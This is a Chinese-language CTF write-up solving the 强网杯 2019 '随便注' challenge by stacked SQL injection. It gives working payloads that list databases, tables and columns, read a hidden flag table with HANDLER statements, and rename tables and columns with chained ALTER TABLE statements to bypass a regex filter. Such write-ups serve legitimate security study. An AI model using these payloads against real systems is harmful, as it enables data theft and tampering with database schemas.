[强网杯 2019]随便注
sql注入老传统,上来先判断注入点,这题是字符型注入
先用1' or 1=1;#判断能出来什么东西,好样的,啥用没有

这里想先用union联合注入来获取当前database,但是被过滤了,由这个preg_match正则匹配可以看出这道题是堆叠注入

构造payload,来获取各个数据库名:
1';show databases;#

发现这并没有啥用,再构造payload来查看表:
?inject=1';show tables;#

这个1919810931114514表很可疑,所以我们要查看
因为这道题是堆叠注入,加上有过滤所以离不开handler语句
语法分析:
- HANDLER tbl_name OPEN; 打开一张表
- HANDLER tbl_name READ FIRST/NEXT; 获取句柄的第一行,FIRST(第一行)、NEXT(下一行)
例如:1’;handler `1919810931114514` open;handler `1919810931114514` read first;#
注意表名有数字的情况下要用反引号包括起来
所以我们可以构造handled语句,来读取1919810931114514中的内容,exp:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法二:
第二种方法主要是运用alert语句写的,先介绍一下alert语句:
alter语句
修改表名
alter table 表名 rename 新表名;修改字段名
alter table 表名 change 旧字段名 新字段名 类型;
前面一样,先查出所有表,然后使用show columns from 表名;获取到表中的字段名
?inject=1';show columns from words;#


然后我们再查看一下1919810931114514这个表中的字段,构造payload:
?inject=1';show columns from `1919810931114514`;#

通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为"select * from words where id='".$_GET['inject']."'"
那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改
-
修改words表名为其他的
alter table words rename words1; -
修改1919810931114514表名为words
alter table `1919810931114514` rename words; -
修改新的words表中的flag列名为id
alter table words change flag id varchar(60);
得到最后的payload:
1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#
然后刷新页面

发现没结果了, 原因是新的id列中的值已经变为flag值了 所以查询inject=1查不到
我们可以通过让where条件永远为正查出来所有数据
构造payload1' or '1'='1, 获取到flag值

文章详细描述了解决一个SQL注入问题的过程,首先通过1or1=1;#测试注入点,发现是字符型注入且存在正则过滤。接着尝试使用HANDLER语句读取可疑表1919810931114514的内容,以及利用ALTER语句改表名和字段名来达到获取FLAG的目的。最终通过构造特定的SQL语句,绕过过滤并揭示隐藏的数据。
3197






